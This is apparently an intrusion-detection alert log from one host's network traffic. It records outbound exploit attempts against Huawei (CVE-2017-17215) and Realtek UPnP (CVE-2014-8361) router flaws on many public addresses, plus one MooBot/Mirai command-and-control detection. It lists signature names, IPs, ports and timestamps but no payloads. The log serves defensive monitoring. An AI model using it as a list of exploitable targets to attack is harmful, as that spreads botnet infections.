ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.88.79

Timestamp:	2024-07-20T23:01:18.510150+0200
SID:	2835222
Source Port:	55906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.179.143

Timestamp:	2024-07-20T23:00:59.201622+0200
SID:	2835222
Source Port:	34032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.182.184.30

Timestamp:	2024-07-20T23:01:04.432754+0200
SID:	2835222
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.199.163

Timestamp:	2024-07-20T23:01:18.599875+0200
SID:	2835222
Source Port:	47332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.215.81.142

Timestamp:	2024-07-20T23:01:19.515380+0200
SID:	2027339
Source Port:	57270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.76.49.30

Timestamp:	2024-07-20T23:01:21.588308+0200
SID:	2027339
Source Port:	59360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.83.142

Timestamp:	2024-07-20T23:01:21.941341+0200
SID:	2835222
Source Port:	38424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.114.117.243

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	44106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.243.193.156

Timestamp:	2024-07-20T23:01:19.565849+0200
SID:	2027339
Source Port:	52384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.185.172.90

Timestamp:	2024-07-20T23:01:21.840696+0200
SID:	2027339
Source Port:	54012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.46.179.130

Timestamp:	2024-07-20T23:01:19.419599+0200
SID:	2027339
Source Port:	47142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.166.141.245

Timestamp:	2024-07-20T23:01:18.285263+0200
SID:	2835222
Source Port:	49188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.161.142.144

Timestamp:	2024-07-20T23:01:20.943979+0200
SID:	2027339
Source Port:	41746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.106.184.126

Timestamp:	2024-07-20T23:01:21.531036+0200
SID:	2027339
Source Port:	40650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.134.98.50

Timestamp:	2024-07-20T23:01:21.300446+0200
SID:	2027339
Source Port:	51400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.38.235.14

Timestamp:	2024-07-20T23:01:18.488326+0200
SID:	2835222
Source Port:	44174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.59.179

Timestamp:	2024-07-20T23:00:59.175742+0200
SID:	2835222
Source Port:	57488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.189.55.135

Timestamp:	2024-07-20T23:01:19.317572+0200
SID:	2027339
Source Port:	52638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.93.40

Timestamp:	2024-07-20T23:01:20.184321+0200
SID:	2835222
Source Port:	59652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.160.207.169

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	34626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.198.81.69

Timestamp:	2024-07-20T23:01:21.514691+0200
SID:	2835222
Source Port:	59564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.39.230

Timestamp:	2024-07-20T23:00:59.213565+0200
SID:	2835222
Source Port:	34754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.79.139.138

Timestamp:	2024-07-20T23:01:02.136941+0200
SID:	2835222
Source Port:	35512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.75.86.189

Timestamp:	2024-07-20T23:01:01.081889+0200
SID:	2027339
Source Port:	43466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.70.219.104

Timestamp:	2024-07-20T23:01:00.648916+0200
SID:	2835222
Source Port:	48680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.238.186

Timestamp:	2024-07-20T23:01:18.167729+0200
SID:	2835222
Source Port:	40788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 15.235.203.214 - Destination IP: 192.168.2.23

Timestamp:	2024-07-20T23:01:14.169782+0200
SID:	2030489
Source Port:	2466
Destination Port:	32848
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.112.209

Timestamp:	2024-07-20T23:01:00.663232+0200
SID:	2835222
Source Port:	39940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.189.194.244

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	60464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.223.182.162

Timestamp:	2024-07-20T23:01:19.466954+0200
SID:	2027339
Source Port:	52268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.33.144.77

Timestamp:	2024-07-20T23:01:20.252557+0200
SID:	2027339
Source Port:	40882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.20.45.153

Timestamp:	2024-07-20T23:01:19.827683+0200
SID:	2027339
Source Port:	41974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.143.175.164

Timestamp:	2024-07-20T23:01:18.423367+0200
SID:	2835222
Source Port:	57708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 114.205.87.78

Timestamp:	2024-07-20T23:01:20.197536+0200
SID:	2835222
Source Port:	56188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.92.100

Timestamp:	2024-07-20T23:00:59.176163+0200
SID:	2835222
Source Port:	58944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.73.227.199

Timestamp:	2024-07-20T23:01:00.648916+0200
SID:	2835222
Source Port:	56956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.236.15.67

Timestamp:	2024-07-20T23:01:02.136941+0200
SID:	2835222
Source Port:	42612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.190.62.115

Timestamp:	2024-07-20T23:01:21.202996+0200
SID:	2027339
Source Port:	34424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 84.167.140.65

Timestamp:	2024-07-20T23:00:59.170219+0200
SID:	2835222
Source Port:	46354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.202.161.192

Timestamp:	2024-07-20T23:01:20.137445+0200
SID:	2835222
Source Port:	38742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.187.5.172

Timestamp:	2024-07-20T23:01:21.004535+0200
SID:	2027339
Source Port:	47818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.6.98.70

Timestamp:	2024-07-20T23:01:18.422394+0200
SID:	2835222
Source Port:	47728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.59.242.166

Timestamp:	2024-07-20T23:01:19.825974+0200
SID:	2027339
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.23.56.129

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	54948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.47.11.186

Timestamp:	2024-07-20T23:01:02.088869+0200
SID:	2835222
Source Port:	46656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.108.63

Timestamp:	2024-07-20T23:01:18.545693+0200
SID:	2835222
Source Port:	34718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.28.183.134

Timestamp:	2024-07-20T23:01:20.227541+0200
SID:	2027339
Source Port:	57776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.82.51

Timestamp:	2024-07-20T23:01:11.816293+0200
SID:	2835222
Source Port:	50264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.28.251.253

Timestamp:	2024-07-20T23:01:21.456312+0200
SID:	2835222
Source Port:	59666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.33.116.164

Timestamp:	2024-07-20T23:01:21.267821+0200
SID:	2027339
Source Port:	52478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.55.180.198

Timestamp:	2024-07-20T23:01:08.919725+0200
SID:	2027339
Source Port:	46758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.83.42

Timestamp:	2024-07-20T23:00:59.224296+0200
SID:	2835222
Source Port:	52812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.116.148.181

Timestamp:	2024-07-20T23:01:21.124881+0200
SID:	2027339
Source Port:	50118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.23.92

Timestamp:	2024-07-20T23:01:00.661808+0200
SID:	2835222
Source Port:	37310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.7.162.229

Timestamp:	2024-07-20T23:01:18.297902+0200
SID:	2835222
Source Port:	42650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.101.199

Timestamp:	2024-07-20T23:01:14.013612+0200
SID:	2835222
Source Port:	35052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.253.85.199

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	35972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.30.132.8

Timestamp:	2024-07-20T23:01:20.191460+0200
SID:	2027339
Source Port:	35798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.12.203.144

Timestamp:	2024-07-20T23:01:02.095698+0200
SID:	2835222
Source Port:	47304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.225.184.185

Timestamp:	2024-07-20T23:01:21.844542+0200
SID:	2027339
Source Port:	56940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.106.29

Timestamp:	2024-07-20T23:01:00.662826+0200
SID:	2835222
Source Port:	45546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.58.83.134

Timestamp:	2024-07-20T23:00:59.170218+0200
SID:	2835222
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.207.187.133

Timestamp:	2024-07-20T23:01:20.265368+0200
SID:	2027339
Source Port:	59542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.190.123.93

Timestamp:	2024-07-20T23:01:21.267123+0200
SID:	2027339
Source Port:	60912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.141.91.228

Timestamp:	2024-07-20T23:01:18.266144+0200
SID:	2835222
Source Port:	40282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.18.195.93

Timestamp:	2024-07-20T23:01:21.454208+0200
SID:	2027339
Source Port:	35784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.21.145.183

Timestamp:	2024-07-20T23:01:00.661808+0200
SID:	2835222
Source Port:	54854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.161.188.69

Timestamp:	2024-07-20T23:01:00.648916+0200
SID:	2835222
Source Port:	59370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.207.159

Timestamp:	2024-07-20T23:01:18.526699+0200
SID:	2835222
Source Port:	58950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.32.130.76

Timestamp:	2024-07-20T23:01:21.181268+0200
SID:	2027339
Source Port:	60326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 67.15.208.48

Timestamp:	2024-07-20T23:00:59.184421+0200
SID:	2835222
Source Port:	38946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.51.118

Timestamp:	2024-07-20T23:00:59.203030+0200
SID:	2835222
Source Port:	41970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.20.2

Timestamp:	2024-07-20T23:01:21.188822+0200
SID:	2835222
Source Port:	34358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.114.3.131

Timestamp:	2024-07-20T23:01:22.224479+0200
SID:	2027339
Source Port:	39416
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.2.14

Timestamp:	2024-07-20T23:00:59.175742+0200
SID:	2835222
Source Port:	41506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.4.61

Timestamp:	2024-07-20T23:01:02.136941+0200
SID:	2835222
Source Port:	44984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.242.166.123

Timestamp:	2024-07-20T23:01:00.663232+0200
SID:	2835222
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.37.139.58

Timestamp:	2024-07-20T23:01:20.359095+0200
SID:	2027339
Source Port:	37202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.144.8

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	49544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.243.55

Timestamp:	2024-07-20T23:01:00.648489+0200
SID:	2835222
Source Port:	35680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.150.198

Timestamp:	2024-07-20T23:01:21.085513+0200
SID:	2835222
Source Port:	38216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.182.11.252

Timestamp:	2024-07-20T23:01:21.160094+0200
SID:	2027339
Source Port:	49722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.112.16.238

Timestamp:	2024-07-20T23:01:21.214465+0200
SID:	2027339
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.19.64.41

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.64.180.236

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	55784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.181.134

Timestamp:	2024-07-20T23:01:18.271403+0200
SID:	2835222
Source Port:	45112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.23.231.227

Timestamp:	2024-07-20T23:01:21.198929+0200
SID:	2027339
Source Port:	60402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.7.32.204

Timestamp:	2024-07-20T23:01:20.287563+0200
SID:	2027339
Source Port:	49352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.224.193

Timestamp:	2024-07-20T23:01:02.127340+0200
SID:	2835222
Source Port:	47078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 207.93.222.13

Timestamp:	2024-07-20T23:01:18.416781+0200
SID:	2835222
Source Port:	41818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.208.92.27

Timestamp:	2024-07-20T23:01:19.463189+0200
SID:	2027339
Source Port:	43256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.143.206

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	47164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.34.184

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	58502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.188.131

Timestamp:	2024-07-20T23:01:02.083467+0200
SID:	2835222
Source Port:	35136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.231.118

Timestamp:	2024-07-20T23:01:07.151635+0200
SID:	2835222
Source Port:	42202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.46.179.130

Timestamp:	2024-07-20T23:01:09.027075+0200
SID:	2027339
Source Port:	49516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.146.94.28

Timestamp:	2024-07-20T23:01:21.444565+0200
SID:	2835222
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

